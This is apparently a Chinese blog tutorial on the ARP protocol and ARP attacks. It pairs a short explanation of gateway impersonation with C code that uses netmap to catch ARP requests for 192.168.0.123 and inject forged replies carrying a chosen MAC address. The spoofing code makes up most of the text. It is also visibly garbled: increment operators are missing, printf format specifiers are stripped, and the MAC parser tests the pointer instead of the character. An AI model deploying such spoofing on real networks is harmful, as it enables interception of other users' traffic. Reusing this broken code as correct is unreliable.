ARP协议以和攻击

ARP简介

ARP是什么

ARP（地址解析协议），是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机，并接收返回消息，以此确定目标的物理地址。

ARP攻击

1. 局域网中的成员需要将网络数据发送出局域网，进入广域网，需要经过网关转发数据，但是一开始并不知道网关是在哪里，那么就需要广播寻找网关
2. 现在局域A与B属于同一局域网，A开始寻找网关，向局域网发起广播，B收到ARP广播后，立刻回复：我这边是网关，来找我呀。
3. A得到了虚假网关信息，开始将信息发向B， 又或者B伪造的一个物理地址。

ARP协议内容

code

头文件

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#include <sys/poll.h>
#include <arpa/inet.h>


#define NETMAP_WITH_LIBS

#include <net/netmap_user.h> 

ARP协议

struct ethhdr {
	unsigned char h_dest[ETH_ALEN];
	unsigned char h_source[ETH_ALEN];
	unsigned short h_proto;
};


struct arphdr {
	unsigned short h_type;
	unsigned short h_proto;
	unsigned char h_addrlen;
	unsigned char protolen;
	unsigned short oper;
	unsigned char smac[ETH_ALEN];
	unsigned int sip;
	unsigned char dmac[ETH_ALEN];
	unsigned int dip;
};

struct arppkt {
	struct ethhdr eh;
	struct arphdr arp;
};

ARP攻击

void print_mac(unsigned char *mac) {
	int i = 0;
	for (i = 0;i < ETH_ALEN-1;i   ) {
		printf("x:", mac[i]);
	}
	printf("x", mac[i]);
}

void print_ip(unsigned char *ip) {
	int i = 0;

	for (i = 0;i < 3;i   ) {
		printf("%d.", ip[i]);
	}
	printf("%d", ip[i]);
}
void print_arp(struct arppkt *arp) {
	print_mac(arp->eh.h_dest);
	printf(" ");

	print_mac(arp->eh.h_source);
	printf(" ");

	printf("0xx ", ntohs(arp->eh.h_proto));
	printf("  ");
	
}
int str2mac(char *mac, char *str) {

	char *p = str;
	unsigned char value = 0x0;
	int i = 0;

	while (p != '\0') {
		
		if (*p == ':') {
			mac[i  ] = value;
			value = 0x0;
		} else {
			
			unsigned char temp = *p;
			if (temp <= '9' && temp >= '0') {
				temp -= '0';
			} else if (temp <= 'f' && temp >= 'a') {
				temp -= 'a';
				temp  = 10;
			} else if (temp <= 'F' && temp >= 'A') {
				temp -= 'A';
				temp  = 10;
			} else {	
				break;
			}
			value <<= 4;
			value |= temp;
		}
		p   ;
	}

	mac[i] = value;

	return 0;
}

void echo_arp_pkt(struct arppkt *arp, struct arppkt *arp_rt, char *hmac) {

	memcpy(arp_rt, arp, sizeof(struct arppkt));

	memcpy(arp_rt->eh.h_dest, arp->eh.h_source, ETH_ALEN);
	str2mac(arp_rt->eh.h_source, hmac);
	arp_rt->eh.h_proto = arp->eh.h_proto;

	arp_rt->arp.h_addrlen = 6;
	arp_rt->arp.protolen = 4;
	arp_rt->arp.oper = htons(2);
	
	str2mac(arp_rt->arp.smac, hmac);
	arp_rt->arp.sip = arp->arp.dip;
	
	memcpy(arp_rt->arp.dmac, arp->arp.smac, ETH_ALEN);
	arp_rt->arp.dip = arp->arp.sip;

}

int main() {
	
	struct ethhdr *eh;
	struct pollfd pfd = {0};
	struct nm_pkthdr h;
	unsigned char *stream = NULL;

	struct nm_desc *nmr = nm_open("netmap:eth0", NULL, 0, NULL);
	if (nmr == NULL) {
		return -1;
	}

	pfd.fd = nmr->fd;
	pfd.events = POLLIN;

	while (1) {
		int ret = poll(&pfd, 1, -1);
		if (ret < 0) continue;
		
		if (pfd.revents & POLLIN) {
			stream = nm_nextpkt(nmr, &h);
			eh = (struct ethhdr*)stream;

			if (ntohs(eh->h_proto) == PROTO_ARP) {

				struct arppkt *arp = (struct arppkt *)stream;
				struct arppkt arp_rt;

				if (arp->arp.dip == inet_addr("192.168.0.123")) {
					echo_arp_pkt(arp, &arp_rt, "00:50:56:33:1c:ca");
					nm_inject(nmr, &arp_rt, sizeof(struct arppkt));
				}
			}
		} 
	}
}

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